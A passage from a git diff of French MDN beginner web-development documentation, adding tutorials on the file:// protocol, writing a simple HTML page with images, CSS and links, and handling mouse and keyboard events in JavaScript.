Nous ne voyons plus l'image car nous avons utilisé un chemin relatif à un nom de domaine. En effet, nous avons indiqué au navigateur d'afficher une image situé au chemin suivant /images/licorne.png. Le navigateur va donc à la racine du système de fichiers de votre ordinateur et se déplace dans le répertoire images qui n'existe probablement pas. Le navigateur ne parvient pas à trouver l'image, il se résigne à utiliser l'attribut alt (et affiche donc "une licorne !").

+ +

{{Glossary("AJAX")}} et JavaScript

+ +

Attention, JavaScript ne fonctionne pas bien avec le protocole file. Ainsi, lorsque vous voudrez lancer une requête {{Glossary("AJAX")}}, cela déclenchera cette procédure :

+ +
    +
  1. Chargement du code JavaScript qui remplacera une partie de la page web avec une autre partie.
    2. +
  2. Récupération de cette « autre partie » à l'adresse http://localhost/ajax/remplacement.html.
    3. +
  3. Remplacement de la première partie avec la seconde.
    4. +
+ +

Pour que la deuxième étapes fonctionne, {{Glossary("AJAX")}} a besoin d'utiliser le protocole {{Glossary("HTTP")}}. Or, le protocole pour accéder à un fichier local n'est pas http:// mais file://. CQFD : on ne peut pas accéder à un fichier local avec une requête AJAX. Cette restriction s'applique également à de nombreuses autres API JavaScript qui ne fonctionnent qu'avec le protocole HTTP. Cela est dû au modèle de sécurité utilisé pour le Web, que nous aborderons dans un autre article.

+ +

Ce que nous avons appris

+ +

Pour résumer, il est utile de repérer comment un fichier est ouvert dans un navigateur afin de déterminer le contexte dans lequel on se place et pour comprendre les restrictions qui s'appliquent (notamment pour un fichier ouvert en local avec file://). Cela permet parfois d'éviter de penser que le site ne fonctionne pas correctement alors qu'il s'agit uniquement d'une ouverture de fichier malencontreuse.

+ + + +

À l'opposé, le protocole file protocol est une méthode simple et efficace pour :

+ + + +

Prochaines étapes

+ +

Maintenant que nous avons vu les différences entre le protocole http et le protcole file, vous pouvez continuer :

+ + diff --git a/files/fr/conflicting/learn/getting_started_with_the_web/index.html b/files/fr/conflicting/learn/getting_started_with_the_web/index.html new file mode 100644 index 0000000000..978bfc7c17 --- /dev/null +++ b/files/fr/conflicting/learn/getting_started_with_the_web/index.html @@ -0,0 +1,273 @@ +--- +title: Écrire une simple page HTML +slug: Apprendre/HTML/Écrire_une_simple_page_HTML +tags: + - Beginner + - CodingScripting + - Guide + - HTML + - Learn + - Web Development +translation_of: Learn/Getting_started_with_the_web +translation_of_original: Learn/HTML/Write_a_simple_page_in_HTML +--- +
+

Dans ceta rticle, vous apprendrez à créer une page web simple grâce à {{Glossary("HTML")}}.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez au préalable avoir un éditeur de texte et savoir comment ouvrir un fichier dans un navigateur.
Objectifs :Créer une page web que vous pourrez visualiser dans votre navigateur.
+ +

La plus simple des pages web est simplement un fichier {{Glossary("HTML")}} valide. Il suffit donc d'un fichier HTML valide, d'un éditeur de texte et d'un navigateur web. Dans cet article, nous verrons comment utiliser {{Glossary("Balise","quelques balises")}} HTML et comment voir la page dans un navigateur.

+ +

Pédagogie active

+ +

Tout d'abord, assurez-vous d'avoir un navigateur web et un éditeur de texte avec lequel vous êtes à l'aise. Pour cet article, n'importe quel éditeur de texte conviendra (que ce soit Bloc-notes pour Windows, TextEdit pour Mac ou gedit pour GNU/Linux voire un autre). Une seule remarque : assurez-vous de bien créer des fichiers textes simples, sous TextEdit notamment, vous pouvez choisir l'option « Texte simple » dans le menu « Format ».

+ +

Première étape : un fichier

+ +

Une page web est, au strict minimum, un fichier HTML. Nous commencerons donc par en créer un. Lancez votre éditeur de texte puis saisissez le texte suivant :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Coucou</title>
+  </head>
+  <body>
+  Cette page est une
+  page toute simple
+  </body>
+</html>
+ +

Vous pouvez éditer ce fichier comme vous le souhaitez en modifiant par exemple le texte dans les balises title ou body. Lorsque vous enregistrez le fichier, assurez-vous de l'enregister avec l'extension « .html ». Par exemple, le fichier peut être intitulé  « ma_page.html ».

+ +

Une fois que vous avez enregistré ce fichier sur votre ordinateur, vous devriez obtenir quelque chose qui ressemble à cette capture (bien entendu, l'allure dépendra de votre système d'exploitation et de votre configuration) :

+ +

Screenshot of a file explorer with a html file for local test

+ +

Si vous double-cliquez sur le fichier, celui-ci s'ouvrira dans votre navigateur. Pour ouvrir le fichier dans votre éditeur de texte afin de le modifier, vous pouvez cliquez-droit et choisir le logiciel avec lequel ouvrir le fichier (ici l'éditeur de texte) (sinon, vous pouvez glisser-déposer le fichier dans votre éditeur ou encore choisir de l'ouvrir depuis l'éditeur grâce à l'option « Ouvrir » qui se situe généralement dans le menu « Fichier »). Selon l'éditeur que vous utilisez, vous devriez avoir quelque chose qui ressemble à :

+ +

Screenshot of a file explorer with a html file for local test

+ +

Deuxième étape : un navigateur web

+ +

Dans votre explorateur de fichiers (Windows Explorer sur Windows, Finder sur Mac ou Fichiers sur Ubuntu), repérez le fichier que vous avez créé et ouvrez-le dans votre navigateur web (en double-cliquant dessus ou en glissant-déposant le fichier sur l'icône du navigateur). Le navigateur affiche alors le texte du fichier HTML que vous avez créé et l'onglet affiche le titre de la page. Selon le navigateur et la plateforme que vous utilisez, cela devrait ressembler à :

+ +

Screenshot of a file explorer with a html file for local test

+ +

Vous pouvez voir le contenu de la page et le titre dans l'onglet. Toutefois, on voit qu'il n'y a pas de saut de ligne… intéressant.

+ +

Troisième étape : à vous de jouer !

+ +

Essayez de manipuler le fichier HTML dans tous les sens en ajoutant du texte, en retirant des morceaux pour voir ce que ça donne. Certaines modifications n'empêcheront pas la page de s'afficher dans le navigateur, d'autres en revanche casseront la page et causeront des problèmes d'affichage. Vous verrez alors que le navigateur essaie de corriger certains problèmes.

+ +

La première chose que vous devriez avoir remarqué est que le texte qui est affiché à l'écran est uniquement le texte qui n'est pas contenu entre des chevrons ouvrants et fermants (« < » et « > »). Tout le texte contenu entre ces chevrons forme des {{Glossary("balises")}} qui représentent la structure (ou le squelette) de la page. Tout le contenu affiché est situé à l'intérieur de ces balises.

+ +

Dans notre page d'exemple, on a deux sections : un en-tête contenu dans le bloc {{HTMLElement("head")}} et un « corps » contenu dans le bloc {{HTMLElement("body")}}. Le corps contient le texte qui est affiché sur la page.

+ +

Chaque balise possède une signification particulière et doit être utilisée à bon escient. Par exemple, {{HTMLElement("title")}} est utilisé afin d'indiquer le titre d'une page (qui peut être différent du nom utilisé pour le fichier). On remarque aussi que des balises sont imbriquées dans d'autres balises : {{HTMLElement("title")}} est par exemple contenue dans {{HTMLElement("head")}}.

+ +

Si vous souhaitez ajouter quelque chose à votre page, une image par exemple, vous devrez ajouter une balise pour l'image :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Coucou</title>
+  </head>
+  <body>
+    Cette page est une
+    page toute simple
+    <img src="licorne.png" alt="Une image de licorne :)" />
+    avec une licorne
+  </body>
+</html>
+ +

Pour obtenir ce résultat, il suffit d'éditer le fichier HTML vu précédemment et d'y ajouter la ligne suivante avec {{HTMLelement("img")}} :

+ +
<img src="licorne.png" alt="Une image de licorne :)" />
+ +

Cet élément peut être placé n'importe où dans l'élément {{HTMLElement("body")}}. N'oubliez pas de sauvegarder la page que vous avez modifiée !

+ +

Ensuite, vous devrez ajouter un fichier intitulé "licorne.png" dans le même répertoire que votre fichier HTML. Une fois que c'est fait, rafraîchissez la page dans votre navigateur web (ou réouvrez le fichier dans le navigateur. Vous devriez alors voir la page qui a changé et qui contient une image (n'oubliez pas de sauvegarder votre fichier HTML).

+ +

Original file for the unicorn image

+ +
+

Note : Vous pouvez télécharger cette image depuis cette page en cliquant-droit sur l'image et en choisissant l'option « Enregistrer l'image sous » du menu contextuel.

+
+ +

Pour que cet exemple fonctionne, vous aurez besoin d'avoir les fichier organisés de cette façon sur votre ordinateur :

+ +

Screenshot of the explorer with 2 files : a html file and a picture file

+ +

La page obtenue devrait alors ressembler à :

+ +

Screenshot for the example with a picture

+ +

Vous avez pu voir que l'élément{{HTMLElement("img")}} avait des {{Glossary("attribut","attributs")}} : ceux-ci permettent de fournir des informations supplémentaires afin de construire l'objet à afficher (dans ce cas, un attribut permet de connaître le nom du fichier à utiliser pour l'image et un autre permet de fournir un texte alternatif qui peut être affiché lorsque l'image ne peut être chargée).

+ +

Cet exemple illustre comment ajouter une image ) votre page web mais vous pouvez utiliser des techniques semblables pour ajouter des musiques, des vidéos et d'autres éléments, rien qu'en utilisant HTML.

+ +

Aller plus loin

+ +

Ce n'est pas la plus jolie des pages web…

+ +

Comme vous avez pu le voir, cette page web n'est pas non plus un canon de beauté. Cela s'explique car HTML gère uniquement le contenu et sa signification (aussi appelée « sémantique »), il ne gère pas la mise en forme (le « design ») de la page.

+ +

{{Glossary("CSS")}} permet d'enjoliver le contenu en ajoutant des couleurs, en gérant des polices, la mise en page, etc. HTML serea suffisant pour créer des pages web simples. En revanche, pour créer des pages plus complexes ou plus attractives, il faudra appeler CSS voire {{Glossary("JavaScript")}} à la rescousse. HTML permet de construire le contenu, CSS permet de le mettre en forme et JavaScript permet de le rendre dynamique.

+ +

Utilisons CSS pour que le texte de la page soit affiché en bleu :

+ +
<!DOCTYPE html>
+<html>
+    <head>
+        <title>Coucou</title>
+        <style>
+           body {
+             color: blue;
+           }
+        </style>
+    </head>
+    <body>
+        <p>Voici du texte bleu</p>
+        <img alt="Une image de licorne :)" src="licorne.png"/>
+    </body>
+</html>
+ +

Ici, on a ajouté l'élément {{HTMLElement("style")}} à l'élément {{HTMLElement("head")}}. Celui-ci permettra de définir le CSS à appliquer au texte présent dans le corps de la page.

+ +

Vous aimeriez que votre texte soit souligné ? Vous pouvez ajouter la règle text-decoration: underline; :

+ +
body {
+  color: blue;
+  text-decoration: underline;
+}
+ +

Si vous souhaitez que votre texte ait une taille donnée, vous pouvez ajouter font-size: 42px; comme ceci :

+ +
body {
+  color: blue;
+  text-decoration: underline;
+  font-size: 42px;
+}
+ +

Au final, le code obtenu ressemblera à :

+ +
<!DOCTYPE html>
+<html>
+    <head>
+        <title>Coucou</title>
+        <style>
+           body {
+             color: blue;
+             text-decoration: underline;
+             font-size: 42px;
+           }
+        </style>
+    </head>
+    <body>
+        <p>Voici du texte bleu</p>
+        <img alt="Une image de licorne :)" src="licorne.png"/>
+    </body>
+</html>
+ +

Si vous sauvegardez la page dans votre éditeur puis que vous rafraîchissez la page dans le navigateur, vous devriez pouvoir voir quelque chose comme :

+ +

Screenshot of the browser with the page with some CSS

+ +

Avoir deux pages web

+ +

Lorsque vous naviguez sur le Web, vous rencontrez souvent des {{Glossary("hyperliens","liens")}}. Ceux-ci permettent de naviguer de page en page. Comme nous l'avons vu avant, HTML s'occupe principalement du contenu d'une page. Or, les liens sont une forme de contenu. Autrement dit : il est possible de créer des liens en utilisant uniquement HTML.

+ +

Créer un lien entre deux pages locales

+ +

Dans cet exercice, nous aurons besoin de deux fichiers HTML. Nous ajouterons un lien dans chacune de ces pages afin de pouvoir passer de l'une à l'autre.

+ +

Dans le premier fichier, vous pouvez conserver la même structure que précédemment. Le plus important est d'ajouter une nouvelle balise {{HTMLElement("a")}} de cette façon:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Page 1</title>
+  </head>
+  <body>Ici la page 1.
+    <a href="page2.html" title="Vers la page 2">Que se passe-t-il page 2 ?</a></body>
+</html>
+ +

La deuxième page, quant à elle, contient un lien vers la première :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Page 2 :)</title>
+  </head>
+  <body>Ici la page 2.
+    <a href="page1.html" title="Vers la page 1">Souhaitez-vous revenir vers la page 1 ? Cliquez-ici</a></body>
+</html>
+ +
+

Note : Assurez-vous que les noms de fichiers définis dans les balises {{HTMLElement("a")}} avec les attributs href correspondent bien aux noms des fichiers que vous avez sur votre ordinateur.

+
+ +

Dans votre navigateur, vous pouvez alors naviguer entre les deux documents HTML. Ouvrez la première page dans le navigateur puis cliquez sur le lien pour accéder à la deuxième page et vice versa. Vous pouvez également utiliser le bouton « Précédent » de votre navigateur pour revenir à la page que vous consultiez précédemment.

+ +

Pour cet exercice, votre gestionnaire de fichiers devrait avoir deux fichiers HTML placés dans le même répertoire :

+ +

Screenshot of the file explorer with two HTML documents in one directory/folder

+ +

Dans le navigateur web, la page 1 ressemblera à  :

+ +

Screenshot of a file explorer with a html file for local test

+ +

Après avoir cliqué sur le lien, on arrive sur la page 2 :

+ +

Screenshot of the 2nd page of the 2 pages example in the browser

+ +
+

Note : On remarque que le lien sur la page 2 est violet. De cette façon, le navigateur montre que vous avez déjà visité la page 1 (en quelque sorte, le navigateur garde en mémoire les pages et l'affiche de cette façon).

+
+ +

Si vous voulez, vous pouvez très bien continuer cet exercice avec plus de deux pages. Vous pouvez également poursuivre la lecture de cet article pour compléter ce que nous avons vu jusqu'à présent.

+ +

Ajouter un lien vers un autre site web

+ +

Dans cet exercice, nous ajouterons un lien dans le fichier HTML afin que le visiteur du site puisse se rendre facilement sur une autre page web complémentaire. Il est possible d'ajouter un lien vers n'importe quelle page publique sur le Web. Pour cet exemple, nous ajouterons un lien vers Wikipédia :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8"/>
+    <title>Ma page</title>
+  </head>
+  <body>Il était une fois,...Les licornes sont superbes... La fin.
+    <a href="https://fr.wikipedia.org/wiki/Licorne" title="Page Wikipédia sur les licornes">Vous voulez en savoir plus sur les licornes ? Wikipédia est à portée de clic.</a></body>
+</html>
+ +

Dans le navigateur, cela devrait ressembler à :

+ +

Screenshot of the example page with a link to Wikipedia in the browser

+ +

Lorsque vous passez votre souris sur le lient, vous verrez que le texte contenu dans l'attribut {{htmlattrxref("title")}} est affiché dans une bulle d'informations. Ce texte peut être utilisé afin de fournir plus d'informations sur le lien pour aider l'utilisateur à déterminer s'il est utile de cliquer sur le lien ou non.

+ +
+

Rappel : À chaque fois que vous modifiez la page, n'oubliez pas de sauvegarder le fichier dans votre éditeur et de rafraîchir la page dans votre navigateur afin de visualiser vos modifications.

+
+ +

Prochaines étapes

+ + diff --git a/files/fr/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html b/files/fr/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html new file mode 100644 index 0000000000..c95ba3d3a2 --- /dev/null +++ b/files/fr/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html @@ -0,0 +1,338 @@ +--- +title: Tutoriel pour débuter en JavaScript +slug: Web/JavaScript/guide_de_demarrage +tags: + - Beginner + - JavaScript + - NeedsBeginnerUpdate + - Tutorial +translation_of: Learn/Getting_started_with_the_web/JavaScript_basics +translation_of_original: Web/JavaScript/Getting_Started +--- +

Pourquoi JavaScript ?

+

JavaScript est un langage de programmation puissant, complexe et trop souvent mal compris. Il permet le développement rapide d'applications avec lesquelles l'utilisateur va pouvoir intéragir pour saisir des données et observer le résultat de leur traitement.

+

L'avantage premier de JavaScript, dont le standard correspondant est connu sous l'appellation ECMAScript, est qu'il est centré sur le navigateur web, aussi il produira un résultat similaire sur toutes les plateformes supportées par le navigateur. Les exemples sur cette page, tout comme Google Maps, fonctionnent sur Linux, OS X and Windows. Avec le nombre toujours grandissant de bibliothèques JavaScript, il est de plus en plus facile de naviguer dans le document, sélectionner des éléments du DOM, créer des animations, gérer les évènements, et développer des applications AJAX. Contrairement à l'hyper médiatisation d'autres technologies promues par divers intérêts propriétaires, JavaScript est réellement le seul langage multi-plateformes côté client qui est à la fois gratuit et universellement adopté.

+

Ce que vous devriez déjà savoir

+

JavaScript est un langage très facile d'accès. Tout ce dont vous avez besoin pour commencer est d'un éditeur de texte et d'un navigateur web.

+

Bon nombre d'autres technologies allant au delà de la portée de ce document peuvent êtres intégrées et développées dans la continuité de JavaScript.
+ Ne vous attendez pas à réaliser une application comme Google Maps dès vos premières lignes en JavaScript.

+

Pour commencer

+

Il est très facile de débuter en JavaScript. Vous n'avez pas besoin d'avoir des outils de développement installés. Vous n'avez pas besoin de savoir utiliser une console, Make, ou d'utiliser un compilateur. JavaScript est interprété par votre navigateur web. Tout ce dont vous avez besoin est d'enregistrer votre programme dans un fichier texte puis de l'ouvrir dans votre navigateur. C'est tout.

+

JavaScript est un excellent langage de programmation pour débuter l'apprentissage de langages informatiques. Il permet des retours instantanés pour le nouvel étudiant, et lui fera découvrir des outils dont il ne manquera pas d'apprécier l'utilité dans la vie réelle. C'est un contraste saisissant en comparaison des langages C, C++ et Java qui peuvent être utiles pour certaines applications particulières.

+

Les problèmes de compatibilité entre les navigateurs

+

Il existe certaines variations concernant la disponibilité des fonctionnalités entre les différents navigateurs. Mozilla Firefox, Google Chrome, Microsoft Internet Explorer, Apple Safari et Opera se comportent différement. Vous pouvez atténuer ces fluctuations en utilisants les diverses API JavaScript multi-plateformes disponibles. Ces API fournissent des fonctionnalités communes et masquent certaines des variations entre les navigateurs.

+

Comment essayer les exemples

+

Les exemples qui suivent possédent des échantillons de code. Il y a de multiples façons d'essayer ces exemples. Si vous posséder votre propre site, vous pouvez les sauvegarder comme nouvelles pages de celui-ci.

+

Si vous ne possédez pas de site personnel, vous pouvez sauvegarder ces exemples sous forme de fichiers sur votre ordinateur et les ouvrir dans le navigateur que vous utilisez en ce moment.
+ JavaScript est un langage très simple à utiliser pour commencer la programmation pour cette raison. Vous n'avez pas besoin de compilateur, ou d'un environnement de développement ; votre navigateur est le seul outil dont vous avez besoin pour démarrer.

+

Vour pouvez également utiliser certains site comme jsfiddle.net pour tester du code JavaScript.

+

Exemple : Capturer le clic de la souris

+

Les spécificités de la gestion d'événements (types d'événements, enregistrement des gestionnaires, propagation, etc.) sont trop vastes pour être totalement couverte par ce simple exemple. De plus, celui-ci ne peut présenter la capture du clic souris sans approfondir un minimum le système d'événements JavaScript. Garder à l'esprit que cet exemple va seulement éfleurer l'exhaustivité des événements JavaScript et que si vous souhaitez aller au delà des fonctionnalités basiques qui y sont décrites, lisez en plus à propos du système d'événements JavaScript.

+

Les événements « souris » sont un sous-ensemble de la pléthore d'événements déclenchés par le navigateur Web en réponse aux actions de l'utilisateur. Ce qui suit est une liste des événements émis en réponse aux actions d'un utilisateur sur la souris :

+ +

Noter que dans les versions d'HTML, les événements inline (ceux ajoutés en tant qu'attribut de balise), doivent être écris en minuscule et que les gestionnaires d'événements dans les scripts sont aussi en minuscule.

+

La méthode la plus simple pour capturer ces événements et enregistrer les gestionnaires - en utilisant le HTML - est de spécificer chaque événement en tant qu'attribut de l'élément désiré.

+
  <span onclick="alert('Hello World!');">Cliquer ici</span>
+

Le code JavaScript que vous souhaitez exécuter peut être disposé en ligne dans l'élément ou bien être placé dans un éléménet <script> au sein de votre page HTML :

+
<script>
+  function clickHandler() {
+     alert("Hello, World!");
+  }
+</script>
+<span onclick="clickHandler();">Cliquer ici</span>
+

Il est possible de capturer et d'utiliser l'événement qui se produit. Cela permet au développeur d'accéder à plus d'informations (par exemple : l'objet qui a reçu l'événement, le type de l'événement et le bouton de la souris utilisé). Par exemple :

+
<script>
+  function clickHandler(événement) {
+    var eType = événement.type;
+    /* l'instruction suivante est utilisée à des fins de compatibilité */
+    /* Firefox renseignera la propriété target de l'événement */
+    /* IE renseignera la propriété srcElement */
+    var eTarget = événement.target || événement.srcElement;
+
+    alert( "événement capturé (type = " + eType + ", cible = " + eTarget + ")" );
+  }
+</script>
+<span onclick="clickHandler(event);">Cliquer ici</span>
+

En plus de pouvoir recevoir des événements dans le HTML, il est possible de définir de nouveaux éléments HTML en JavaScript et de définir leurs attributs. L'exemple ci-après permet d'ajouter un élément {{HTMLElement("span")}} au corps de la page et de définir les attributs nécessaires pour qu'il reçoive les événements liés à la souris.

+
<body></body>
+<script>
+  function mouseeventHandler(event) {
+    /* La ligne qui suit est utilisée à des fins de compatibilité */
+    /* IE ne fournit pas directement l'événement */
+    /* il faut obtenir une référence vers l'événement si nécessaire */
+    if (!event) event = window.event;
+
+    /* on récupère le type de l'événement et la cible */
+    var eType = event.type;
+    var eTarget = event.target || event.srcElement;
+    alert(eType +' événement sur l'élément avec l'identifiant '+ eTarget.id);
+  }
+
+ function onloadHandler() {
+   /* on récupère une référence à l'élément 'body' de la page */
+   var body = document.body;
+   /* on crée un élément span sur lequel on pourra cliquer */
+   var span = document.createElement('span');
+   span.id = 'SpanExemple';
+   span.appendChild(document.createTextNode ('Cliquer ici !'));
+
+   /* on inscrit l'objet span aux différents événements liés à la souris
+      les événements sont écrits en minuscules, le nom du gestionnaire d'événement
+      peut avoir n'importe quelle casse.
+   */
+   span.onmousedown = mouseeventHandler;
+   span.onmouseup = mouseeventHandler;
+   span.onmouseover = mouseeventHandler;
+   span.onmouseout = mouseeventHandler;
+
+   /* on affiche l'élément span sur la page */
+   body.appendChild(span);
+}
+
+window.onload = onloadHandler; // on remplace la fonction (on ne l'appelle pas) et donc on ne met pas de parenthèses
+</script>
+

Exemple : Intercepter un événement clavier

+

De la même façon que pour les événements liés à la souris, il est possible d'utiliser les événements JavaScript pour capturer les interactions liées au clavier. Un événement est déclenché à chaque fois qu'une touche du clavier est utilisée.

+

La liste des événéments disponibles pour le clavier est plus restreinte que celle des événements pour la souris :

+ +

Lors d'un événement keypress, la valeur Unicode de la touche pressée est enregistrée grâce à la propriété keyCode ou charCode (mais jamais dans les deux). Si la touche pressée génère un caractère (par exemple 'a'), charCode représentera la valeur du caractère en tenant compte de la casse (charCode gère l'appui simultané avec la touche shift pour écrire en majuscules). Dans les autres cas, le code de la touche est enregistré dans keyCode.

+

La façon la plus simple d'intercepter les événements clavier est ici aussi d'enregistrer des gestionnaires d'événements (handlers) dans le HTML et de spécifier quels événements doivent être gérés. Par exemple :

+
<input type="text" onkeypress="alert ('Coucou monde !');">
+

De la même façon qu'avec les événements liés à la souris, le code JavaScript peut être présenté dans la définition de l'attribut ou bien au sein d'un bloc {{HTMLElement("script")}} de la page HTML utilisée :

+
<script>
+  function keypressHandler() {
+    alert ("Coucou monde !");
+  }
+</script>
+
+<input onkeypress="keypressHandler();" />
+

De la même façon que pour les événements liés à la souris, on peut enregistrer les détails de l'événement et de la cible de cet événement :

+
<script type="text/javascript">
+  function keypressHandler(evt) {
+      var eType = evt.type; // Renverra "keypress" comme type d'événement
+      /* ici aussi on utilise une instruction pour que le code fonctionne
+         sur les différents navigateurs (mozilla utilise which et les autre
+         navigateurs utilisent keyCode.
+         On peut ici utiliser l'opérateur ternaire pour obtenir le résultat */
+      var keyCode = evt.which?evt.which:evt.keyCode;
+      var eCode = 'keyCode est ' + keyCode;
+      var eChar = 'charCode est ' + String.fromCharCode(keyCode); // ou evt.charCode
+      alert ("Événement capturé (type = " + eType + ", valeur Unicode pour la touche = " + eCode + ", valeur ASCII = " + eChar + ")");
+   }
+</script>
+<input onkeypress="keypressHandler(event);" />
+

Il est possible de capturer n'importe quel élément clavier en associant un gestionnaire d'événement avec ceux du document grâce à une fonction :

+
<script>
+  document.onkeypress = keypressHandler;
+  document.onkeydown = keypressHandler;
+  document.onkeyup = keypressHandler;
+</script>
+

Voici un exemple complet qui illustre comment gérer les événements du clavier :

+
<!DOCTYPE html>
+<html>
+<head>
+  <script>
+    var metaChar = false;
+    var toucheExemple = 16;
+    function keyEvent(event) {
+      var key = event.keyCode || event.which; // une autre syntaxe que l'opérateur ternaire s'il n'y a pas de keyCode
+      var keychar = String.fromCharCode(key);
+      if (key == toucheExemple) {
+        metaChar = true;
+      }
+      if (key != toucheExemple) {
+         if (metaChar) {
+            alert("Combinaison de la touche meta et de " + keychar)
+            metaChar = false;
+         } else {
+           alert("Touche utilisée : " + key);
+         }
+      }
+    }
+    function metaKeyUp(event) {
+      var key = event.keyCode || event.which;
+      if (key == toucheExemple) { metaChar = false; }
+    }
+  </script>
+</head>
+<body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)">
+    Essayez de presser une touche !
+</body>
+</html>
+

Bugs et spécificités des navigateurs

+

Les deux propriétés des différents événements clavier sont keyCode et charCode. Pour faire simple, keyCode fait référence à la touche du clavier qui a été utilisée alors que charCode représente la valeur ASCII du caractère de la touche. Ces deux valeurs peuvent ne pas être les mêmes. Par exemple un 'a' (minuscule) et un 'A' (majuscule) auront le même keyCode car l'utilisateur appuiera sur la même touche du clavier. En revanche, la propriété charCode sera différente car le caractère sera différent.

+

La navigateurs interprètent charCode de façons différentes. Ainsi, Internet Explorer et Opera ne supportent pas charCode. Cependant, l'information du caractère est bien fourni avec keyCode , mais uniquement lors de l'événement keypress. Lors de keydown et de keyup keyCode contient les informations liées à la touche utilisée. Firefox utilise un terme différent : which pour distinguer le caractère.

+

Pour plus de précisions sur le fonctionnement des événements liés au clavier, voir la page sur l'API KeyboardEvent.

+

{{ draft() }}

+

Exemple : Déplacer des images

+

L'exemple qui suit permet de déplacer une image de Firefox sur la page :

+
<!DOCTYPE html>
+<html>
+<head>
+<style>
+img { position: absolute; }
+</style>
+
+<script>
+window.onload = function() {
+
+  movMeId = document.getElementById("ImgMov");
+  movMeId.style.top = "80px";
+  movMeId.style.left = "80px";
+
+  document.onmousedown = coordinates;
+  document.onmouseup = mouseup;
+
+  function coordinates(e) {
+    if (e == null) { e = window.event;}
+
+    // sous IE e.srcElement définira l'élément cible alors que pour Firefox ce sera e.target
+    // Ces deux propriétés renvoient l'élément HTML pour lequel s'est produit l'événement.
+
+    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
+
+    if (sender.id=="ImgMov") {
+      mouseover = true;
+      pleft = parseInt(movMeId.style.left);
+      ptop = parseInt(movMeId.style.top);
+      xcoor = e.clientX;
+      ycoor = e.clientY;
+      document.onmousemove = moveImage;
+      return false;
+    }
+    return false;
+  }
+
+  function moveImage(e) {
+    if (e == null) { e = window.event; }
+    movMeId.style.left = pleft+e.clientX-xcoor+"px";
+    movMeId.style.top = ptop+e.clientY-ycoor+"px";
+    return false;
+  }
+
+  function mouseup(e) {
+    document.onmousemove = null;
+  }
+}
+</script>
+</head>
+
+<body>
+  <img id="ImgMov" src="http://placehold.it/100x100&text=JS" width="64" height="64">
+  <p>Vous pouvez déplacer l'image sur cette page.</p>
+</body>
+
+</html>
+

Exemple : Redimensionner des éléments

+
+ Voici un exemple de code qui permet de redimensionner une image (note : seul le rendu final est redimensionné, l'image de base ne sera pas redimensionnée).
+
<!DOCTYPE html>
+  <html>
+    <head>
+      <style>
+        #resizeImage {
+          margin-left: 100px;
+        }
+      </style>
+      <script>
+      window.onload = function() {
+
+        var resizeId = document.getElementById("resizeImage");
+        var resizeStartCoordsX,
+            resizeStartCoordsY,
+            resizeEndCoordsX,
+            resizeEndCoordsY;
+
+        var resizeEndCoords;
+        var resizing = false;
+
+        document.onmousedown = coordinatesMousedown;
+        document.onmouseup = coordinatesMouseup;
+
+        function coordinatesMousedown(e) {
+          if (e == null) {
+            e = window.event;
+          }
+
+          var element = (typeof( window.event ) != 'undefined' ) ? e.srcElement : e.target;
+
+          if (element.id == "resizeImage") {
+            resizing = true;
+            resizeStartCoordsX = e.clientX;
+            resizeStartCoordsY = e.clientY;
+          }
+          return false;
+        }
+
+        function coordinatesMouseup(e) {
+          if (e == null) {
+            e = window.event;
+          }
+
+          if (resizing === true) {
+            var currentImageWidth = parseInt(resizeId.width);
+            var currentImageHeight = parseInt(resizeId.height);
+
+            resizeEndCoordsX = e.clientX;
+            resizeEndCoordsY = e.clientY;
+
+            resizeId.style.height = currentImageHeight - (resizeStartCoordsY - resizeEndCoordsY) + 'px';
+            resizeId.style.width = currentImageWidth - (resizeStartCoordsX - resizeEndCoordsX) + 'px';
+
+            resizing = false;
+          }
+          return false;
+        }
+      }
+      </script>
+    </head>
+
+    <body>
+      <img id="resizeImage" src="http://upload.wikimedia.org/wikipedia/commons/e/e7/Mozilla_Firefox_3.5_logo_256.png"
+width="64" height="64">
+      <p>Cliquer sur l'image et étirer pour la redimensionner.</p>
+    </body>
+
+  </html>
+
+  
+

Exemple : Tracer des lignes

+
<!DOCTYPE html>
+<html>
+<head>
+<script>
+function dessinerLigne(ax, ay, bx, by)
+{
+    if(ay > by)
+    {
+        bx = ax+bx;
+        ax = bx-ax;
+        bx = bx-ax;
+        by = ay+by;
+        ay = by-ay;
+        by = by-ay;
+    }
+    var calc = Math.atan((ay-by)/(bx-ax));
+    calc = (calc*180)/Math.PI;
+    var length = Math.sqrt((ax-bx)*(ax-bx)+(ay-by)*(ay-by));
+    document.body.innerHTML += "<div id='ligne' style='height:" + length + "px;width:1px;background-color:black;position:absolute;top:" + (ay) + "px;left:" + (ax) + "px;transform:rotate(" + calc + "deg);-ms-transform:rotate(" + calc + "deg);transform-origin:0% 0%;-moz-transform:rotate(" + calc + "deg);-moz-transform-origin:0% 0%;-webkit-transform:rotate(" + calc  + "deg);-webkit-transform-origin:0% 0%;-o-transform:rotate(" + calc + "deg);-o-transform-origin:0% 0%;'></div>"
+}
+</script>
+</head>
+<body onload="dessinerLigne(200,400,500,900);"> <!-- Remplacez les coordonnées que vous souhaitez utiliser -->
+</body>
+</html>
diff --git a/files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting/index.html new file mode 100644 index 0000000000..db22bdd6f4 --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/advanced_text_formatting/index.html @@ -0,0 +1,143 @@ +--- +title: Afficher du code informatique avec HTML +slug: Apprendre/HTML/Comment/Afficher_du_code_informatique_avec_HTML +tags: + - Beginner + - Guide + - HTML + - Learn +translation_of: >- + Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Representing_computer_code +translation_of_original: Learn/HTML/Howto/Display_computer_code_with_HTML +--- +
+

HTML offre différents éléments pour écrire de la documentation technique. Dans cet article, nous aborderons les éléments HTML qui portent sur la représentation de code informatique.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
